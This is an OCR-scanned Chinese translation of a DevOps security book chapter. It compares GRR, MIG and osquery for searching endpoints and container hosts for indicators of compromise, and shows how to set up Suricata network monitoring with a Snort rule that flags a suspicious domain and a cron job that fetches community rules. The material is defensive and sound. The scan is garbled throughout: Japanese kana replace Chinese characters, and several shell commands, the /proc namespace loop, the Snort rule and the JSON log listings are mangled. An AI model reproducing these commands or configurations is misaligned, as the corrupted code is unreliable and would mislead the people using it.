如果你需要检查!OC是否存在于数以千计的系统上,终端节点安全工具オ是正 

道。这些工具专为协助调查基础设施的安全团队设计，一般是通过部署在每个系统 

和后端服务器上的代理来实现，调查人员可以向这些代理发起实时查询。这些服务 

中最快的可以在几秒钟内查询数百个系统，而有些服务则可以分析运行内存并查询 

大多数类型的IOCo

什么是终端节点安全?

你常常会见到终端节点这个术语,它被用来描述需要保护的系统、服务器 

和其他类型的设备，在计算机世界里,终端节点这个术语基本上等同于连接到 

网络中的任何事物，而终端节点安全指的则是为保护它们而设计的解决方案。

本节当我提及终端节点时,指的就是系统、笔记本电脑、服务器，甚至还 

有智能手机。如果它和网络通信,并且能被攻击者威胁，它就应该应用终端节 

点安全解决方案9

在上一节,我们介绍了安全团队如何收集并共享!OC来加强对主动威胁的认识。 

将这些信息转化为确保你的基础设施是安全的仍需要做ー些工作。第一个障碍就是 

格式支持。很少有工具支持我们前面讨论的格式,因此这些文档必须转换成能被这 

些工具支持的格式,这通常需要自定义脚本来完成。一旦转换完成，接下来就是扫 

描系统。

工具概览

在这ー节，我们将讨论三个开源终端节点安全平台的优劣，它们分别是： 

Google的GRR、Mozilla的MIG和Facebook的osquery。它们都有着复杂的技术实 

现,可以扫描基础设施找到其中的IOC。我将展示如何测试这些平台并进行对比。 

你也许还会对这几个工具的商业替代品感兴趣,比如，Mandiant的MIR、Encase 
Enterprise或者F-Response,但我们不在这里讨论它们。
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Google Rapid Response
Google Rapid Response (GRR)是由Google安全团队创造的，用于协助他们调 

查远程系统,尤其是遍布全球的员エ工作站。GRR是现今最成熟的开源终端节点安 

全平台,许多组织都使用它来保护基础设施。

GRR由两部分组成ーー个托管服务及分布在众多终端节点上的代理：

•如图9.2所示，托管服务包括多个接收代理消息的前端服务器、ー个数据存 

储和多个处理数据的后端程序。安全工程师使用客户端来与数据存储通信 ， 

通过这种方式与系统进行交互。

•代理就是分布在终端节点上的二进制程序，它们持续地运行在后台上。

当安全工程师想要执行ー次调查查询时，他们要求托管服务调度一次Hunt:这 

次Hunt会接收来自代理的数据，将其存储在数据存储里，然后启动服务器端的分析。

图9.2 GRR的架构由前端服务器、数据存储和后端处理程序组成。调查人员可以通过Web控 
制台或命令行控制台与服务进行交互。

GRR提供了一个Docker镜像，能让测试系统更简单,这个镜像放在girdocker/gn・中。 

当通过docker pul!命令获得镜像后，用代码清单9.7中的命令启动ー个本地服务器。 

这将打开ー个Web界面,地址见链接9.13,用户名是admin,密码是demo。

1 Hunt、Flow, Artifact均是GRR术语(链接9.12),这里保留英文原文。Flow是指在终端节点上执 
行的操作或操作集合，用于收集数据或检查数据;Hunt是指在多个终端节点上调度Flow的机制;而 
Artifact是指分析人员希望作为ヨ个单元来收集并检查的文件或数据集合。——译者注
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docker run \
-e EXTERNAL_HOSTNAME= MlocalhostM \
-e ADMIN_PASSWORD=ndemo" \
--ulimit nofile=1048576:1048576 \
-p 0.0.0.0:8000:8000 -p 0.0.0.0:8080:8080
grrdocker/grr：v3.1.0.2-latest grr

你可用Web界面上提供的二进制文件来安装代理，如图9.3所示。在本地系 

统上获取安全包，并使用正确的命令安装（例如，Ubuntu上使用命令sud。dpkg 
-i grr_3.1.0.2_amd64 . deb ）〇包安装完成后会启动代理,它将立即开始向服 

务器报告它的存在。

User: admin
2017-03-07 11:37:36 UTC

Cron Job Viewer

Hunt Manager

Show Statistics

i-.匹」executables

-3 darwin 

J — — linux

Start Global Flows

Advanced ▼

CONFIGURATION

Settings

Artifact Manager

\ . I agentupdates 

に」installers

a」windows

Search Bax

grr_3.1.0.2_amd64.deb' iRRSignedBlob

grr_3.1.0.2_amd64.rpm iignedBlob

grr_3.1.0.2_i386.deb iignedBlob

grr_3.1.0.2J386.  rpm iRRSignedBlob

图9.3 GRR的管理面板提供了不同系统的代理安装包.

GRR专门收集数字取证的Artifact——从终端节点获取的小块信息，这些信息 

有助于安全事件的调查,有时甚至可以作为法律证据。这是托管服务通过调度Hunt 
来完成的，它们将从选定的终端节点上收集Artifact。这些Artifact随后被存放在数 

据存储中，调查人员可以在这里进行检查。

图9.4展示了用于创建Hunt和选择从终端节点收集的取证Artifact的Web界面。 

GRR自带了丰富的收集器，可以获取任何信息，包括在系统中运行的进程列表及本 

地用户浏览器的历史记录。
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New Hunt - What to run?

--%/ Administrative

! ••“ Browser

…G Checks

■* j Collectors

! ArtifactCollectorFlow

♦ !■ DumpFlashlmage
I...FileTypes

I 鳳J Filesystem

I
一端 Memory

-Network

•““ 皿 Processes

"Registry

G Reporting

--必J Timeline

ArtifactCollectorFlow

Use tsk

On no results error

Ignore interpolation errors

Use "Add" button or double-click to add

Next

图9.4 GRR的Hunt提供了预定义的收集点,就是截图里Artifact list用圆圈标出的部分,它们 
可以协助调查人员的工作。

Hunt可能需要几个小时才能扩散到所有代理,并获取数据及完成目标,这个过 

程有时甚至要花上好几天。在收集结束之后，GRR将获取的Artifact通过虚拟文件 

系统展示,让调查人员将收集到的信息轻松地可视化。图9.5展示了一次Hunt的结 

果,这次Hunt收集了目标终端节点上/etc/passwd的内容。如你所见,文件系统的 

树状结构可以浏览,而且文件的原始内容显示在了管理面板上。

GRR的Artifact可以与IOC很好地配合:Hunt收集和IOC有关的Artifact （文 

件、进程、IP和注册表键，等等）,调查人员可以在GRR数据存储中查看这些信息， 

以便检查其中是否出现了指示符。例如,假设ー个IOC发布,它描述的是植入后门 

的Linux二进制文件/usr/bin/passwd ；你可以使用GRR来获取全部终端节点上该ニ 

进制文件的副本，以及计算取得的文件哈希,并与IOC中的后门文件哈希进行对比。
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图9.5 GRR Hunt的结果作为虚拟文件系统提供给调查人员,见图中央窗口。原始文件的内容和 
其他Artifact可在右侧窗口查看。

GRR的收集Artifact模型要求在服务器端收集数据,这保证了两点:

«终端节点对被调查的IOC 一无所知。它们收到的只是ー个获取指定Artifact 
的请求。

• Artifact被安全地存放和归档在GRR数据存储中。

这种方式的主要缺点是,数据必须从终端节点上收集才能被分析,这给终端节 

点和GRR服务之间所需的带宽造成了压カ，同时也需要大量的资源来存储所有这 

些数据。对Google来说，这也许不是问题，但是对体量小一些的组织来说可能就是 

ー个挑战。

GRR中的Artifact收集器非常成熟,并且还在不断地改进,然而从隐私和数据 

安全的视角来看，它们从终端节点上收集的数据量有些吓人。在管理面板上点击几 

下就可以访问员エ在浏览器里的记录的思路并不会被所有组织认同。接下来,我们 

将讨论另外两个工具MIG和。squery,它们提供的取证能力比GRR更有限,也更加 

轻量，而且它们不会获取原始数据。

Mozilla Investigator
Mozilla Investigator（MIG）的创建比GRR晚几年，它被用来扫描Linux及OS X/ 

macOS服务器中的IOC（在后面オ加入对Windows的支持）。它的架构如图9.6所示， 

由一个托管服务的API前端、ー个数据库、ー个与分布在终端节点上的代理进行通 

信的消息代理组成。这套基础设施还可以插入处理程序，将调查结果输出到其他エ 

具，比如MozDef （链接9.14）。
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Rabbit 掰 Q

图9.6 MIG架构由一个RESTfu!风格的API、ー个数据库、ー个后端调度器和一个消息代理组成。 
调查人员通过API与服务进行交互。终端节点上的代理通过消息代理连接到其中。

和GRR不同,MIG不会从终端节点获取Artifact。相反，它使用代理内置的模 

块直接在终端节点上完成分析过程。这种方式的优势在于,代理和托管服务之间的 

查询及其结果的传输数据量减少了,这大大加速了调查速度。

MIG也更加注重隐私和数据安全，它能防止调查人员从终端节点上获取原始数 

据。而这也会限制工具的功能：一方面，GRR可以获取取证Artifact用于本地分析, 

而MIG只会告知调查人员可以在哪里找到这些信息，这些信息需要通过其他方法获 

取。另一方面,不必收集数据就可以让MIG去快速扫描整个文件系统中的IOC,而 

GRR不得不先将整个文件系统复制到数据存储之中。

使用docker pull mozilla/mig就可以从Docker Hub获取MIG的演示 

容器,使用以下命令运行它： 

docker run -it mozilla/mig
这个容器提供了一个测试环境，由一个托管服务和预先配置好的本地代理组成。 

当启动之后,容器会打开shell,可以在这里触发MIG命令。

$ docker run -it mozilla/mig
[ok ] Restarting message broker： rabbitmq-server.
[ok ] Restarting PostgreSQL 9.4 database server： main.
scheduler, api and agent started in tmux session 
mig@933442763df9：~$

MIG提供了用于调查终端节点的命令行工具。代码清单9.8展示了一个调查 

示例,它使用文件模块查询所有系统(-t all)1检查/usr/bin目录(-path / 
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usr/bin）中是否有文件匹配了指定的SHA256哈希（-sha2）。这个调查被发 

给了 808终端节点,节点上的代理计算/usr/bin目录树中每个文件的SHA256哈希, 

并和命令提供的哈希进行对比,通过托管的服务将结果返回给调查人员。对所有终 

端节点的调查几乎在30秒之内就完成了。

代码清单9.8调查/usr/bin中指定SHA 256的MIG

这条MIG命令在所有终端节点上执行ー次文件调查，寻找
存储在/usr/bin中并和指定SHA256校验和匹配的文件。

$ /usr/local/bin/mig file
 -t all
-path /usr/bin
-sha2 ea414c53bb6a57d8b08c5ed7300fb388258e5bf0bcac8ec

在调查运行时，这个进度条将展示完成状态。

808 agents will be targeted. Following action ID 7978299359234.
798/808 [=====================================] 98.76% 14/s ----
98.76% done in 28s

***.myorg.example.net /usr/bin/wget 
[lastmodified:2016-06-14 08:18:09 +0000 UTC, 
mode：-rwxr-xr-x, 
size：474656] in search 'si1

***.myorg.example.net /usr/bin/wget 
[lastmodified：2016-06-14 08:18:09 +0000 UTC, 
mode：-rwxr-xr-x, 
size：474656] in search 'si1

调查结果展示了终端节点 
的名字和文件的位置，还 
有与匹配到的文件相关的 
元数据。

尽管MIG在能力上比GRR有限，但是它为调查人员提供的基础设施检查速度 

使其成了快速缩小安全事件范围的优秀工具。我们在Mozilla大量地运用MIG来定 

位涉及各种不同问题的文件、IP或者进程，例如：

«寻找所有遍布各处的、需要定位并被替换的泄露凭证。

• 在新发布的漏洞爆发时搜寻恶意软件。

• 识别运行了指定软件的漏洞版本的服务器。

• 扫描内存中与IOC联系在ー起的字节字符串。你还可以通过链接9.15找到更 

多相关信息。
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在本地尝试MIG
MIG基本上被设计成了一个分布式代理平台，可以通过命令行客户端mig 

来查询 命令行里的-t标志允许调查人员使用各种条件让命令指向特定的终端 

节点,而你可以用-1 loca!来进行本地测试,mig命令执行调查的方式和其 

他代理并无区别。例如,要使用文件模块搜寻本地文件系统,你可以使用下面 

这条命令:

$ sudo mig file -t local -path /etc -name passwd -content julien 
/etc/passwd [lastmodified:2016-11-06 16:30:23, mode:-rw-r-r--r 
size:1649] in search 'si'

类似地,你可以使用内存模块在运行的进程中搜寻包含字符串的 

本地 HAProxy ：

$ sudo. /mig memory -t local -name haproxy -content 、ヽ***. com” 
/usr/sbin/haproxy [pid:10272] in search 'si' 
/usr/sbin/haproxy [pid:10274] in search 'si'

使用命令 go get -u mig. ninja/mig/client/mig 安装 MIG 命令 

行工具。

降低在基础设施中执行深度调查的成本，可让安全团队在查找IOC时无须投入 

大量的资源。如果你需要编写自定义脚本，就要想办法将它们分发到终端节点,还 

要编写更多的脚本来收集和分析结果。长此以往,任何问题的调查过程都会变得索 

然无味,最终你会厌恶这个过程,导致其执行频率越来越低。而自动化的终端节点 

调查工具降低了工程成本，能让你的调查过程执行得更快更频繁。

MIG和GRR满足了不同需要,它们都为安全团队提供了有用的功能。我们最 

后要介绍的工具osquery采用了另ー种不同的方法来解决终端节点的调查问题。

OSQUERY
osquery是这三种工具中最新的ー一种，但它的社区也是最活跃的。它由Facebook 

于2014年创造，专注于从Linux、Windows和macOS系统上收集Artifact，并通过 

优雅的SQL接口提供收集到的信息。

在大多数系统上，安装。squery是很简单的，而Ubuntu甚至自带了安装包（名 

字就是。squery）。在终端节点上部署ー个守护进程，它在后台收集数据并处理查询， 

这个守护进程还被配置成定期地执行查询。它还提供了一个命令行接口来执行交互 

式查询（见代码清单9.9 ），以便执行和MIG ー样的IOC调查。当调查人员输入代 
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码清单9.9中的SQL查询语句之后，osquery在文件表中查找/usr/bin目录树下和指 

定SHA256哈希匹配的文件。输出结果展示了文件/usr/bin/wget的校验和匹配,所 

以将返回文件名和一些元数据。

代码清单9.9在/usr/bin中寻找指定SHA256的osquery调查

查询的元数据。 从这张表获取信息。
$ osqueryi

____ osquery> SELECT path, filename, mtime, type, uid, gid, mode 
____> ...> FROM file JOIN hash USING(path)

...> WHERE path LIKE 1/usr/bin/%' V-----------------------
...> AND sha256 = 'ea414c53bb6a57dlf34...1; ◄--------------------

+-----------------+--------- +---------------+----------+----- +----- +------ +
I path I filename | mtime | type | uid | gid | mode |
+-----------------+--------- +---------------+----------+----- +----- +------ +
,I /usr/bin/wget | wget | 1465892289 | regular | 0 | 0 | 0755 |
+-----------------+-------- -+---------------+----------+----- +----- +------ +

搜索指定目录。 目标文件的哈希。

用SQL武装的osquery调查成为ー个灵活的工具,它可以把很多搜索条件组合 

成一个查询。osquery自带了许多Artifact收集器（被称为表，链接9.16）,这些收集 

器提供了许多被监控的终端节点状态的相关信息。在这方面,它和GRR旗鼓相当, 

但接口更加易用。

和MIG、GRR不同，osquery主要被打造成了一个本地调查工具，并没有提 

供像GRR和MIG那样的远程查询方式。它提供了一个可以远程执行查询的配置 

API,但这些查询结果必须使用另外的信道转发给调查人员，比如日志流水线。围 

绕osquery打造的ー些第三方项目（例如,Windmill,见链接9.17，以及Doorman, 
见链接9.18）可以方便管理并发挥其远程配置的作用。

终端节点安全解决方案对比

GRR、MIG及osquery是不同的工具,但它们解决的是同一类问题：组织范围 

内的IOC追踪。每ー种工具解决这个问题的方式都不尽相同，而你要决定哪ー种最 

适合你的环境。

例如，如果你在意的是能否快速对终端节点进行调查，那么MIG是这三种工具 

中最快的一个。如果你希望能深入到终端节点的内存中来进行分析，GRR是正确的 

选择。如果你需要的是能与日志流水线完美集成,并拥有便捷的SQL接口的中间エ 

具，osquery值得一试。表9.1总结了每种工具的能力，可以帮助你做决定。
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表9.1 GRR、MIG及osquery的优劣比较

Artifact 收集 内存分析 远程查询 数据获取 易用性 便于部署

GRR 図 図 図 区 3 3

MIG □ 区 区 □ 2 1

osquery 図 □ □ □ 1 2

还有很重要的一点需要注意,所有三种解决方案都需要花费大量时间和工程オ 

能部署并使用。它们不是那种ー劳永逸地去部署一次就可以好几年放手不管的系统。 

这些工具需要每天都花时间去使用和改进才能发挥其作用・如果你还没有准备好花 

费ー个工程师三分之一的工作时间去使用和改进终端节点安全解决方案，我建议你 

不要去尝试部署它。这与工具选择无关：即便是商业工具，也需要你花时间对它们 

进行微调和开发,这样才能提供安全价值。

终端节点安全解决方案与容器

大多数终端节点安全解决方案是为调查长期运行的系统而设计的，比如，三年 

オ会更换一次的服务器群,或者给员エ配备的笔记本电脑和工作站。在容器的世界 

里，系统运行的时间要短暂得多,因此,终端节点安全工具为安全策略带来的价值 

可能会在容器世界里受到挑战。

首先,容器通常意味着轻量。在本书的第1部分，发票应用和部署器都被打包 

进了容器,这些容器只包含了最少的软件包,并被设计成只运行ー个应用进程。在 

这种类型的容器里，安全代理没有容身之地。

其次，应用容器意味着不会被修改。它们只会在持续集成流水线中构建一次, 

在运行时通过环境变量传入一些配置,并在通常所说的不可变环境里运维，这种环 

境中的系统只用配置一次便再也不会发生变化。当容器在基础设施中被实例化之后, 

向运行着的容器中添加代理会破坏这种不变性。

那么,终端节点安全工具在容器化的世界中应该怎样定位呢?这取决于你的基 

础设施。如果你的应用全部都部署在像EB这样受到管控的环境中的话，终端节点 

安全解决方案就没有什么用武之地。然而，你的基础设施很可能包含长期存在的传 

统终端节点，比如堡垒机或日志服务器。员エ的工作站是另ー种难以约束的长期终 

端节点类型。在这些系统上，终端节点安全系统的调查能力能够帮你保护基础设施。

如果你使用像OpenStack、Kubemetes或者Docker Swarm这样的集群管理平台 

来运营自己的核心基础设施,并在其上实例化容器，那么终端节点安全代理就可以 

部署在底层主机上，这样主机和其中的容器就都能被调査。这种做法是可行的，原 

因是容器对底层主机来说就是普通的进程和目录（这与虚拟机不同，虚拟机与主
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机的隔离程度要更高一些）。作为示例,代码清单9.10显示了在底层主机上看到的 

invoicer容器的进程和文件系统。

代码清单9.10在运行invoicer容器的主机上查看它

$ ps faux . ，

root 1271 /usr/bin/dockerd -H fd：//
root 1427 \_ containerd -1 unix：///var/run/docker/libcon...
root 17825 \_ containerd-shim 2185fd42f713c31...
10001 17843 \_ /bin/sh -c /app/invoicer /bin/bash
10001 17862 \_ /app/invoicer

容器进程就是 
基本的docker 

进程的子进程。

$ tree /var/lib/docker/aufs/mnt/35d70a39c../app
I--  invoicer
I— invoicer.db
1— statics

一
F-

invoicer-cli.j s
jquery-1.12.4.min.js 
style.css

在主机上可以浏览运行中 
的容器的文件系统。

有些终端节点安全工具能够识别容器。例如，MIG在通过netstat模块搜索 

网络信息时会返回Linux命名空间的标识符。在代码清单9.11中,MIG命令行被 

用来搜索当前主机上（使用-t local）监听8080端口的进程。这条命令返回了 

invoicer容器的网络命名空间:4026532296。

代码清单9.11使用MIG的netstat发现容器!P和命名空间ID

$ sudo mig netstat -t local -Ip 8080 -namespaces

found listening port 8080 for netstat listeningport：'8080 
namespace： [net: [4026532296]]

搜索Linux命名空间
将命名空间ID转换成进程的名字和P1D需要查看主机的进程。某个进程的 

命名空间被列在/proc/$pid/task/$pid/ns/net之下「如果你知道了要・寻找的进程的 

命名空间ID,只用在/proc中执行ー次简单的搜索就能得到对应的进程。

$ for pid in $(Is /proc); do \
match = A/$ (readlink /proc/$pid/task/$pid/ns/net | grep 

4026532296)〃、
[! "z ''$match/, ] && ps -fp $pid; \

done
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PID PPID C STIME TTY TIME CMD
10001 17862 17843 0 11:57 pts/9 00:00:00 /app/invoicer

Linux命名空间的帮助手册提供了对这种安全机制背后概念的详细介绍,在 

任何系统上都可以通过man namespaces访问。

类似地,代码清单9.12展示了如何直接在主机上扫描容器的文件系统(如果使 

用Docker,可以从/var/lib/docker/aufs访问)并检查容器化进程的内存。

ー个名为“invoicer”的本地进程，并 
包含一个指定字符串的MIG内存搜索。

$ sudo mig memory -t local
-name invoicer** -content Request an invoice" 
[invoicer] [pid：17862] in search 'si•

在docker容器存储卷 
中，ー个jQuery文件的
MIG文件搜索。$ sudo mig file -t local -path /var/lib/docker/aufs

-name jquery-1.12.4.min.j s
/var/lib/docker/aufs/mnt/35d70a3.../app/statics/jqueiry-1.12.4.min.js 
[lastmodified：2016-10-30 21:56:36 +0000 UTC,
mode：-rw-rw-r--, size：97163] 
in search •si•

osquery和GRR在被部署到运行容器的主机后,也可以执行类似的调查。这 

里的主要思路是:通过在主机上而不是直接在容器内运行调查来规避容器不透明 

的问题。

即便是最成熟的终端节点安全解决方案也只是全局入侵检测策略的冰山一角 。 

接下来的ー节我们将介绍下ー级即网络级别的检测。

9.4使用Suricata检查网络流量
如果这本书问世的时间能再早io年，入侵检测这一章的大部分内容肯定会是网 

络安全监控(NSM, Network-Security Monitoring)和入侵检测系统(IDS, Intrusion- 
Detection System)〇从上世纪90年代末的网络热潮开始，一直持续到laaS民主化的这 

段时期,安全团队把大部分的预算和时间都花在了完善网络安全监控基础设施上了 。 

当时,这是最有效的发现欺诈行为的方法。现在，它在某种程度上仍然是最有效的 

方式，但最近出现的两种发展趋势改变了我们的做法 ：
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•像AWS这样的laaS提供商很重视对网络的保护，只为客户提供非常明确的 

访问权限。在传统的数据中心里,你可以很容易地捕获和分析所有出入主路 

由器的流量。而这种方式在AWS、GCE、Azure,以及其他所有laaS提供商 

那里都是行不通的，因为只有提供商才有访问网络的特权（而开放这些权限 

会威胁其他客户的流量）。

•使用传输层安全（TLS, Transport Layer Security）的网络流量占比在快速增长, 

这限制了网络安全监视工具检查连接内容的能力。现在TLS证书几乎是免费 

的，而且非常容易获得，恶意软件的作者会毫不犹豫地使用它们来保护欺诈 

性连接的机密性。

在laaS环境中,网络安全监控的实现困难重重,但仍然有其作用。AWS （链接9.19）、 

GCE （链接9.20）和Azure （链接9.21）都允许运维人员通过特定的网络地址转换 

（NAT, Network-Address Translation）实例来路由它们的出站流量。我们可以利用这 

个特性来检查流出基础设施的流量。

我们首先需要讨论流量的路由,以便能理解这种方法在AWS中是如何工作的。 

在第1部分构建的发票应用基础设施中，出入发票应用的流量都要经过负载均衡器, 

如图9.7所示。路由完全由AWS控制，只有在网络流量到达应用之后,你オ可以看至U。

图9.7在AWS里,IDS可以放置在出站路由的路径上,以便捕获建立出站连接的恶意软件。

然而,出站路由是你可以控制的。当位于基础设施内的程序建立起和互联网的 

连接时,将使用出站路由。在图9.7中,连接回攻击者并经过IDS路由的病毒就说 

明了这一点。对出站流量进行分析并不能让基础设施免受攻击，但能够帮助捕获后 

门,这些后门会从互联网上获取工具或是建立C2信道,并从操作者那里接收命令。

Snort （链接 9.22）、Suricata （链接 9.23）或 Bro （链接 9.24）这样的 NSM 系统 

是监控网络流量中的欺诈活动的常见选择。它们通常以两种模式之一来运行:

•检测模式，通过捕获流量副本,对它进行检查并生成告警。这就是人们所说 

的IDS系统。
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•保护模式,通过将自己放在流量路径之中来阻断可疑连接。这种模式通常称 

为 IPS'o

Bro有些不同，它的设计初衷是提供强大的网络分析能力，但是它并没有像 

Snort和Suricata那样去关注基于特征的检测。

我们在9.2节介绍了 Snort特征格式，Suricata也使用了这种格式。许多安全 

供应商都出售自己的规则集，你可以订阅这些规则集并输入到自己的IDS系统 

（Proofpoint Emerging Threats,链接 9.25,以及 Snort Talos,等等）中。你还可以从 

SnortTalos规则的社区版入手（链接9.26）。

本节剩余部分我们将讨论如何设置Suricata来对AWS NAT实例上的出站流量 

进行检查。AWS本身的设置将被略过，因为Amazon的文档中有详尽的说明，而我 

们的重点是配置IDS以便使用每天都在更新的Snort社区规则来对流量进行分析, 

并将告警发布到日志流水线中,而流水线会将告警路由给运维人员。

9.4.1 设置 Suricata
在大多数Linux发行版中都可以找到Suricata,在Debian和Ubuntu上运行 

apt install suricata就可以安装。安装好后，守护进程并不会自动启动, 

所以第一项工作应该是修改/etc/defhult/suricata,设置RUN=yes。你还要将这个文 

件中的LISTENMODE设置为pcap»这样启动的就是!DS模式，而不是!PS模式。 

如果需要,还要修改监听接口 IFACE ,以便与系统上的接口相匹配，然后启动服务。

代码清单9.13 Suricata安装后的初始化

$ grep -Ev ,,x$ | /etc/default/suricata v---- 1
RUN=yes Debian 上 Suricata 的默认选项。
SURCONF=/etc/suricata/suricata-debian.yaml
LISTENMODE=pcap
IFACE=ethl
NFQUEUE=0
TCMALLOC="YES”
PIDFILE=/var/run/suricata.pid

$ sudo service suricata restart

Suricata 的配置位于 /etc/suricata/suricata-debian.yaml 的文件之中。这个 YAML 
文件很复杂,超过了 500行，但大部分内容都不用修改，因为其默认值已经够用了。

1 IPS (Intrusion Prevention System)即入侵防御系统。-- 译者注
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9.4.2 监控网络

事实上，这些默认的配置已经能够输出一些有用的信息了。如果你查看/var/ 
log/suricata目录,就会看到各种被网络活动信息填满的日志文件。代码清单9.14展 

示了文件eve.log中的一个条目，它说明解析news . *** .com的一次DNS请求被 

IDS捕获了。

代码清单9.14对Hacker News的ー个DNS请求的EVE日志被Suricata捕获了

11timestamp" : "2017-03-12T16 : 20 : 08.822861-0400", 事件在该网络接口上被捕获。
"flow_id": 94470260492848,
"in_i face": "enp0s25", ----------------------------
"event_type" ： "dns" , ---- I事件的类别，在这个例子中是DNS。
"src_ip"： "172.21.0.2", ।

"src_portn: 29393, 
"dest_ip"： "172.21.0.1", ~| 源和目的地 IP，以及端 口。
"dest_port": 53,
"proto": "UDP",
"dns"： {

"type"： "query", 
"id": 21532,
"rrname"： "news.***.com",

I事件详情说明这是对news.***.com 
J的DNS查询。

"rrtype"： "A", 
Htx_id"： 0

)
)

Suricata可扩展事件格式
EVE是ー种基于JSON的日志格式,Suricata用它来记录各种协议的事 

件详情。它的JSON格式使它处理起来很容易,也让它很容易就能被导入到 

Elasticsearch这样的文档数据库的日志流水线中，通过这些工具可以方便地创建 

ー个仪表盘。

EVE日志十分详尽，Suricata可以使用配置来丰富或者精简信息。关于 

EVE的更多信息可在链接9.27上查询。

EVE日志不能说明任何可疑活动:它们只是简单地将网络流量翻译成日志条目。 

如果想知道网络中传输的到底是什么,这些日志将十分有用。

EVE只是Suricata支持的众多输出中的ー种。在配置文件中的输出ー节,你可 

以启用各种协议的专用输出,包括TLS、DNS和HTTP,甚至是写入PCAP文件的 

原始数据包,这些数据包可以供Wireshark这样的工具进行分析。代码清单9.15展 
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示了 HTTP输出的配置，这些配置项让捕获的请求被写入/var/log/suricata/http.log文 

件中。

代码清单9.15在Suricata配置中启用HTTP日志

outputs：

-http-log：

enabled： yes 
filename： http.log 
append： yes

启用HTTP输出后,Suricata将为经过其捕获引擎的每一次HTTP请求写一条 

日志记录。这个特性即体现了网络安全监控的强大，也表现出了它的局限性。一方 

面,调查人员能够通过它在不破坏网络流量的情况下对流量进行审查,因为我们只 

会捕获请求,而不会代理任何请求。另ー方面，它只对明文的通信有效,被HTTPS 
保护的任何通信都无法被分析。

即使我们不能假定网络通信的内容总会被检查,但在网络上以明文进行传输的 

元数据也不在少数。例如，DNS请求就携带了很多信息。看看代码清单9.16中捕 

获的请求,留意EVE日志中的dns部分。

代码清单9.16捕获dns请求的EVE日志中的DNS部分

"type"； "query"f
"id"： 55840,
"rrname"： "* * *.com", 
rrtype": "A"

)

这个示例说明对***.com的域请求经过了 !DS〇除非你的组织做的就是出售恶 

意软件的勾当，否则这显然不是合法的流量，而且应该触发需要进ー步去调查的告 

警，这引出了我们整个演练的下ー步：编写规则。

9.4.3 编写规则

在9.2节,我们讨论了 Suricata也能支持的Snort规则的格式。每一条规 

则由四个部分组成:操作、协议匹配规则、ー些关于规则的元数据及载荷过滤 

器。每ー种协议都支持ー些方便规则编写的关键字。例如，DNS协议支持关键字 

content,可以在请求或响应中查找给定的字符串。你可以用这个关键字编写一条 

规则来标记可疑的域。
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代码清单9.1y发现***.com DNS请求就告警的Snort规则

|在告警中记录的消息。dns any any -> any any （
msg："Shady domain detected"； ◄---- '
sid：1664； ◄--- !这条规则的随机数字ID。

J只在DNS查询中查找。

dns_ query ； ---- •
content ： "*** .com" ； ◄----I在查询中查找的字符串〇
nocase； ---- ■

） I忽略大小写。

规则可以放在/etc/suricata/rules下的独立文件中,例如,放在名为suspicious, 
domains.rules （注意,和代码清单9.17中的示例不同,Suricata规则要写在一行内） 

的文件中。然后，将这个文件名加入配置的工ul-fiエes部分就可以启用这条规则 

了 ；当守护进程重启后，告警就会被写入EVE日志中。

代码清单9.18可疑域告警的EVE日志条目

timestamp": "2017-03-12T17:54:40.506984",
"event_type n： "alert", 
••src_ip" : "2.3.4.5", 
"src_port": 48503, 
"dest_ip"： "192.55.83.30", 
"dest_port"： 53, 
"proto"： "UDP", 
"alert"： {
"action： "allowed", 
"gid”： 1,
"signature_id":ユ664,

J规则中定义的数字ID。

<------1
"rev"： 0,
"signature"： "Shady domain detected", 
"category"："",
11 severity" ： 3

)
}

I规则中定义的告警消息。

由于Suricata可以将EVE日志发布给syslog，所以它和日志流水线的集成非常 

简单。当集成到流水线后,你就可以编写自定义Hindsight分析器来捕获这些事件, 

并采取相应的措施了。

9.4.4使用预定义规则集
和你想的ー样，社区中大量的安全工程师通过Snort规则共享IOC。你可以在 
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设置Suricata时利用这一点，定期下载最新的社区规则版本并自动地在!DS中重新 

加载。

社区通常使用的规则集有两套:Snort的Tales和Proofpoint的EmergingThreatSo 
这两套规则都有需要付费的专业版和免费的社区版。

代码清单9.19中的bash脚本展示了如何使用ー个每日运行的cron任务来自动 

下载Snort社区规则。这个脚本首先从链接9.28下载最新版的社区规则，然后将归 

档解压到Suricata规则目录的snort.rules文件中。最后,取消所有规则的注释来激活 

它们,清理下载目录并重启Suricata。

代码清单9.19下载并加载Snort社区规则的cron任务

#! /usr/bin/env bash 下载取新规则。

cd /tmp 
curl -s -L https：//www.***.org/rules/community | tar -xzv V---- 

mv /tmp/community-rules/community.rules \
/etc/suricata/rules/snort.rules

sed -si 's/# alert/alert/g1 /etc/suricata/rules/snort.rules

,I将规则安装到
ISuricata 的规 

厂则目录里。

rm -rf "/tmp/community-rules" "/tmp/snort-community.tar.gz"
service suricata restart ♦ !重启!DSo

你只需要将snort. rules添加到Suricata配置的rule-files列表中，这就 

完事了!在编写本书时，Snort列表中己经包含了超过3500条的规则,所以它是ー 

个很好的起点，但是你应该寻找额外的规则来加强自己的设置。

下载规则的地址会经常发生变化，因此在这里列出URし是没有多大帮助的。 

Snort和Suricata文档中包含了指引，可以帮你找到最佳规则集。Snort和Suricata 
还有一个很方便的配套工具Oinkmaster （链接9.29），可以定期下载各种规则集。它 

的默认配置附带了入门的示例地址。

我们对网络安全监控的概述介绍到这里。在下一节,我们将重新关注入侵监控 

系统,这次我们用到的是Linux的系统调用审计日志。

9.5在系统调用审计日志中寻找入侵
我们在第7章介绍过系统调用审计日志,它是一种记录系统活动详细信息的方 

法。在这ー节,我将展示如何用它来做入侵检测。和终端节点安全方案及网络安全 

监控不同，在审计日志中搜寻入侵不会用到IOC。审计日志不会告诉你执行的文件 

哈希是不是欺诈性的,也不会告诉你连接到系统的IP会不会通往僵尸网络。它能告 
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诉你的是这两类典型的活动的所有细节,这样你就可以在日志流水线中执行针对它 

们的欺诈检测了。

警告 有一点必须要提醒你，syscall审计很难大规模地执行。应用每次在需要 

内核支持的时候都会发起系统调用，在繁忙的系统上每秒钟就可能出现数千次（在 

命令前加上strace ，这会告诉你该命令发起了多少次系统调用）。系统ー定会做 

很多产生系统调用的事情。还好，Linux审计框架支持细粒度的规则并选择那些要 

被记录的事件，我们将会讨论它们的用法。

9.5.1 执行的漏洞

我曾经与一位同事争论syscall审计的成本和收益,我支持的观点是终端节点安 

全方案是更轻量的入侵检测策略的方式，而我的同事提出了下面这个重要的观点:

问题很简单，你是否想知道攻击者在你的Apache服务器上执行的任意一条命令 

的时间。

她的观点是，像NSM或终端节点安全这样的反应式控制只能捕捉到已知的问 

